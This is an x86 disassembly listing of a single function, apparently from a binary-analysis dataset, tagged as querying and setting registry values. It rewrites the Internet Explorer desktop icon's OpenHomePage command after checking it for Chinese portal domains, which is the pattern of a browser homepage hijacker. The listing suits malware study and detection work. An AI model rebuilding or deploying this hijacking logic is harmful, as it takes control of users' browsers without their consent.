Function at 0x401f40
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x42abd8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
mov eax, dword [0x437c84]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov dword [esp + 0x34], 0
push 0xff
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 1
call fcn.00404f03
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand_
push 0x80000000
mov dword [esp + 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401fee
mov dword [esp + 0x34], 0xffffffff
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401fdb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x30
ret
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push esi
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401fb3
lea ecx, [esp + 8]
push ecx
call fcn.00402520
push esi
mov byte [esp + 0x38], 1
call fcn.00404ef8
add esp, 4
push 0x43067f
lea ecx, [esp + 0x10]
call fcn.00402fe0
lea edx, [esp + 0x1c]
push edx
mov byte [esp + 0x38], 2
call fcn.00403fc0
mov esi, dword [eax]
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402066
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x4020ab
lea ecx, [esp + 0x1c]
push ecx
call fcn.00403fc0
add esp, 4
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x38], 3
call fcn.00403310
mov byte [esp + 0x34], 2
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4020ab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc]
push 0x43067f
push ecx
call fcn.0041652c
add esp, 8
test eax, eax
setne al
test al, al
je 0x402275
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x24]
push 0x430504
push eax
call fcn.00402880
push 0x430504
push eax
lea ecx, [esp + 0x30]
push ecx
mov byte [esp + 0x4c], 4
call fcn.004027a0
add esp, 0x18
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x38], 5
call fcn.00403310
mov byte [esp + 0x34], 4
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40212a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x34], 2
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40214f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
push ecx
push edx
call fcn.004161c3
add esp, 8
test eax, eax
je 0x40222f
mov eax, dword [esp + 8]
push str.baidu.com
push eax
call fcn.00415e90
add esp, 8
test eax, eax
je 0x4021aa
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
call fcn.004033f0
lea ecx, [esp + 8]
call fcn.004033f0
lea ecx, [esp + 0x3c]
call fcn.004033f0
jmp 0x40243c
mov edx, dword [esp + 8]
push str.hao123.com
push edx
call fcn.00415e90
add esp, 8
test eax, eax
je 0x4021c7
mov eax, dword [esp + 0x10]
push eax
jmp 0x402184
mov ecx, dword [esp + 8]
push str.hao111.com
push ecx
call fcn.00415e90
add esp, 8
test eax, eax
je 0x4021e4
mov edx, dword [esp + 0x10]
push edx
jmp 0x402184
mov eax, dword [esp + 8]
push str.7556.com
push eax
call fcn.00415e90
add esp, 8
test eax, eax
jne 0x40217f
mov edx, dword [esp + 8]
push str.99danji.com
push edx
call fcn.00415e90
add esp, 8
test eax, eax
jne 0x4021c0
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x14]
push eax
push ecx
call fcn.004026e0
add esp, 0xc
jmp 0x40239d
cmp dword [esp + 0x3c], 0
je 0x4023bf
push ecx
mov eax, esp
mov dword [esp + 0x28], esp
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x14]
push edx
push eax
call fcn.004026e0
add esp, 0xc
call fcn.00402460
mov ecx, dword [esp + 0x14]
add esp, 4
push 0xff
push eax
mov eax, dword [esp + 0x1c]
push eax
push 0
push 0
push ecx
jmp 0x4023b9
mov edx, dword [esp + 8]
push 0x430508
push edx
call fcn.00415e90
add esp, 8
test eax, eax
je 0x4023bf
mov eax, dword [esp + 8]
push str.baidu.com
push eax
call fcn.00415e90
add esp, 8
test eax, eax
jne 0x40217f
mov edx, dword [esp + 8]
push str.hao123.com
push edx
call fcn.00415e90
add esp, 8
test eax, eax
jne 0x4021c0
mov ecx, dword [esp + 8]
push str.hao111.com
push ecx
call fcn.00415e90
add esp, 8
test eax, eax
jne 0x4021dd
mov eax, dword [esp + 8]
push str.7556.com
push eax
call fcn.00415e90
add esp, 8
test eax, eax
jne 0x40217f
mov edx, dword [esp + 8]
push str.99danji.com
push edx
call fcn.00415e90
add esp, 8
test eax, eax
jne 0x4021c0
mov ecx, str.Internet_Explorer
lea esi, [esp + 8]
call fcn.004025b0
test eax, eax
je 0x4023bf
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, esi
call fcn.00402660
push str.Internet_ExplorerIEXPLORE.EXE_
push eax
lea edx, [esp + 0x24]
push edx
mov byte [esp + 0x40], 6
call fcn.004027a0
lea ecx, [esp + 0x48]
push ecx
push eax
lea edx, [esp + 0x34]
push edx
mov byte [esp + 0x4c], 7
call fcn.004026e0
add esp, 0x18
push eax
mov ecx, esi
mov byte [esp + 0x38], 8
call fcn.00403310
lea ecx, [esp + 0x20]
call fcn.004033f0
lea ecx, [esp + 0x1c]
call fcn.004033f0
lea ecx, [esp + 0x24]
mov byte [esp + 0x34], 2
call fcn.004033f0
push ecx
mov eax, esi
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
call fcn.004034b0
call fcn.00402460
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
add esp, 4
push 0xff
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [esp + 0x34], 1
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4023ef
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x34], 0
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402414
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x34], 0xffffffff
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40243c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x30
ret